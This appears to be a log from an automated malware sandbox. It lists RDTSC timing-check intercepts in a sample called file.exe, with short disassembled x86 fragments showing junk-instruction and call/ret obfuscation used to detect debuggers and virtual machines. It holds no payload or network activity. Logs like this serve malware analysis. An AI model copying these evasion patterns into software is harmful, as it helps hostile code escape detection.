Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA181B second address: CA1821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA0FB1 second address: CA0FBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F1690B6C7F6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA0FBE second address: CA0FDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA9h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA1423 second address: CA1428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA1428 second address: CA142D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA142D second address: CA143E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F1690B6C7F8h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA1692 second address: CA169C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1690C1AF96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA169C second address: CA16A4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA16A4 second address: CA16C4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1690C1AFA8h 0x00000008 jmp 00007F1690C1AFA2h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA25C3 second address: CA25C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA268B second address: CA26A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1690C1AFA1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA26A0 second address: CA26D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C806h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1690B6C801h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA26D3 second address: CA26D8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA2C54 second address: CA2C5E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1690B6C7F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA2D35 second address: CA2D39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA2D39 second address: CA2D3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA2D3D second address: CA2D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA2D43 second address: CA2D52 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA2D52 second address: CA2D58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA2D58 second address: CA2D5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA2D5E second address: CA2D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA34F7 second address: CA34FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA385B second address: CA3861 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA3861 second address: CA3865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA3865 second address: CA3877 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jbe 00007F1690C1AFB3h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA3D54 second address: CA3D5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F1690B6C7F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA4844 second address: CA4862 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA464C second address: CA4650 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA4862 second address: CA4866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA4866 second address: CA486C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA5891 second address: CA591A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F1690C1AF98h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 pushad 0x00000027 sub esi, dword ptr [ebp+122D2E38h] 0x0000002d call 00007F1690C1AF9Eh 0x00000032 mov ebx, dword ptr [ebp+122D3034h] 0x00000038 pop edi 0x00000039 popad 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push ebp 0x0000003f call 00007F1690C1AF98h 0x00000044 pop ebp 0x00000045 mov dword ptr [esp+04h], ebp 0x00000049 add dword ptr [esp+04h], 00000014h 0x00000051 inc ebp 0x00000052 push ebp 0x00000053 ret 0x00000054 pop ebp 0x00000055 ret 0x00000056 push 00000000h 0x00000058 sub dword ptr [ebp+122D1D60h], edi 0x0000005e xchg eax, ebx 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA591A second address: CA591F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA6E0E second address: CA6E12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA7916 second address: CA793D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov esi, ecx 0x0000000b push 00000000h 0x0000000d ja 00007F1690B6C7FCh 0x00000013 push 00000000h 0x00000015 add esi, dword ptr [ebp+122D59C2h] 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA793D second address: CA7944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA7944 second address: CA794F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F1690B6C7F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA8516 second address: CA851E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA8FA3 second address: CA8FAD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1690B6C7FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CACAB9 second address: CACABF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CADF6D second address: CADF71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C55C36 second address: C55C51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1690C1AFA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C55C51 second address: C55C5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F1690B6C7F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C55C5C second address: C55C64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAE4B2 second address: CAE53B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1690B6C7FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnl 00007F1690B6C800h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F1690B6C7F8h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c mov dword ptr [ebp+122D3984h], edx 0x00000032 mov bl, B3h 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ebp 0x00000039 call 00007F1690B6C7F8h 0x0000003e pop ebp 0x0000003f mov dword ptr [esp+04h], ebp 0x00000043 add dword ptr [esp+04h], 00000015h 0x0000004b inc ebp 0x0000004c push ebp 0x0000004d ret 0x0000004e pop ebp 0x0000004f ret 0x00000050 movzx edi, ax 0x00000053 push 00000000h 0x00000055 movsx edi, bx 0x00000058 xchg eax, esi 0x00000059 push ebx 0x0000005a jmp 00007F1690B6C7FDh 0x0000005f pop ebx 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAE53B second address: CAE546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1690C1AF96h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAF5DE second address: CAF5F0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jp 00007F1690B6C7F6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB04A6 second address: CB04B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F1690C1AF96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA6B22 second address: CA6B33 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA6B33 second address: CA6B37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA6B37 second address: CA6B40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA8D37 second address: CA8D3C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAE786 second address: CAE78A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAF796 second address: CAF85A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007F1690C1AF98h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 mov ebx, dword ptr [ebp+122D3C64h] 0x00000029 push dword ptr fs:[00000000h] 0x00000030 sub dword ptr [ebp+12469127h], ebx 0x00000036 stc 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e push 00000000h 0x00000040 push ebx 0x00000041 call 00007F1690C1AF98h 0x00000046 pop ebx 0x00000047 mov dword ptr [esp+04h], ebx 0x0000004b add dword ptr [esp+04h], 0000001Dh 0x00000053 inc ebx 0x00000054 push ebx 0x00000055 ret 0x00000056 pop ebx 0x00000057 ret 0x00000058 jmp 00007F1690C1AFA1h 0x0000005d sub dword ptr [ebp+122D59CAh], edi 0x00000063 or dword ptr [ebp+122D2B09h], esi 0x00000069 mov eax, dword ptr [ebp+122D0DF5h] 0x0000006f push FFFFFFFFh 0x00000071 mov dword ptr [ebp+122D2549h], esi 0x00000077 nop 0x00000078 push edx 0x00000079 jmp 00007F1690C1AFA7h 0x0000007e pop edx 0x0000007f push eax 0x00000080 push eax 0x00000081 push eax 0x00000082 push edx 0x00000083 jmp 00007F1690C1AFA1h 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB2658 second address: CB265C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB36A0 second address: CB3727 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1690C1AFADh 0x00000008 jmp 00007F1690C1AFA7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 sub di, 8C49h 0x00000015 push dword ptr fs:[00000000h] 0x0000001c push 00000000h 0x0000001e push ecx 0x0000001f call 00007F1690C1AF98h 0x00000024 pop ecx 0x00000025 mov dword ptr [esp+04h], ecx 0x00000029 add dword ptr [esp+04h], 0000001Bh 0x00000031 inc ecx 0x00000032 push ecx 0x00000033 ret 0x00000034 pop ecx 0x00000035 ret 0x00000036 mov ebx, dword ptr [ebp+122D5992h] 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 pushad 0x00000044 sub eax, dword ptr [ebp+122D38B3h] 0x0000004a cmc 0x0000004b popad 0x0000004c mov eax, dword ptr [ebp+122D0641h] 0x00000052 jo 00007F1690C1AF98h 0x00000058 mov ebx, esi 0x0000005a push FFFFFFFFh 0x0000005c add bl, 0000007Dh 0x0000005f mov edi, dword ptr [ebp+122D2F84h] 0x00000065 nop 0x00000066 pushad 0x00000067 pushad 0x00000068 pushad 0x00000069 popad 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB3727 second address: CB3734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F1690B6C7F6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB3734 second address: CB3755 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1690C1AF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F1690C1AFA0h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB3755 second address: CB375A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB375A second address: CB3760 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB7527 second address: CB752B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB752B second address: CB7550 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1690C1AFA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jne 00007F1690C1AF96h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB7550 second address: CB75F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007F1690B6C802h 0x0000000b pop edx 0x0000000c popad 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F1690B6C7F8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 push ecx 0x00000029 mov dword ptr [ebp+122D1EF3h], ebx 0x0000002f pop edi 0x00000030 mov ebx, 655636EDh 0x00000035 push 00000000h 0x00000037 js 00007F1690B6C7FBh 0x0000003d add bx, 4283h 0x00000042 mov ebx, 32E405CCh 0x00000047 push 00000000h 0x00000049 push 00000000h 0x0000004b push ebx 0x0000004c call 00007F1690B6C7F8h 0x00000051 pop ebx 0x00000052 mov dword ptr [esp+04h], ebx 0x00000056 add dword ptr [esp+04h], 00000014h 0x0000005e inc ebx 0x0000005f push ebx 0x00000060 ret 0x00000061 pop ebx 0x00000062 ret 0x00000063 mov dword ptr [ebp+122D1D25h], ebx 0x00000069 xchg eax, esi 0x0000006a jmp 00007F1690B6C806h 0x0000006f push eax 0x00000070 push edi 0x00000071 push eax 0x00000072 push edx 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB75F0 second address: CB75F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB667D second address: CB6683 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB6683 second address: CB6689 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB7769 second address: CB776F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB776F second address: CB778A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1690C1AF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1690C1AF9Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB87BD second address: CB87EC instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1690B6C7F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jmp 00007F1690B6C807h 0x00000010 pop esi 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 jnp 00007F1690B6C7F6h 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB87EC second address: CB87F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB9758 second address: CB9821 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jmp 00007F1690B6C7FEh 0x00000011 sbb edi, 76FBF6F8h 0x00000017 push dword ptr fs:[00000000h] 0x0000001e push 00000000h 0x00000020 push edx 0x00000021 call 00007F1690B6C7F8h 0x00000026 pop edx 0x00000027 mov dword ptr [esp+04h], edx 0x0000002b add dword ptr [esp+04h], 0000001Ch 0x00000033 inc edx 0x00000034 push edx 0x00000035 ret 0x00000036 pop edx 0x00000037 ret 0x00000038 mov bx, 0D87h 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 jp 00007F1690B6C804h 0x00000049 call 00007F1690B6C7FCh 0x0000004e stc 0x0000004f pop edi 0x00000050 mov eax, dword ptr [ebp+122D0509h] 0x00000056 push 00000000h 0x00000058 push edx 0x00000059 call 00007F1690B6C7F8h 0x0000005e pop edx 0x0000005f mov dword ptr [esp+04h], edx 0x00000063 add dword ptr [esp+04h], 0000001Bh 0x0000006b inc edx 0x0000006c push edx 0x0000006d ret 0x0000006e pop edx 0x0000006f ret 0x00000070 movzx edi, di 0x00000073 push FFFFFFFFh 0x00000075 or di, 8FBBh 0x0000007a nop 0x0000007b jmp 00007F1690B6C7FBh 0x00000080 push eax 0x00000081 push eax 0x00000082 push edx 0x00000083 jmp 00007F1690B6C803h 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CBB5FA second address: CBB5FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CBB5FF second address: CBB605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CBA81C second address: CBA820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CBA820 second address: CBA831 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jng 00007F1690B6C808h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CBA831 second address: CBA835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CBA835 second address: CBA839 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CBC79F second address: CBC7AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1690C1AF9Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CBB915 second address: CBB919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CBB919 second address: CBB927 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CBB927 second address: CBB92B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CBB92B second address: CBB92F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CBC8BD second address: CBC8C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CBC8C2 second address: CBC8C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CBC8C8 second address: CBC8CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
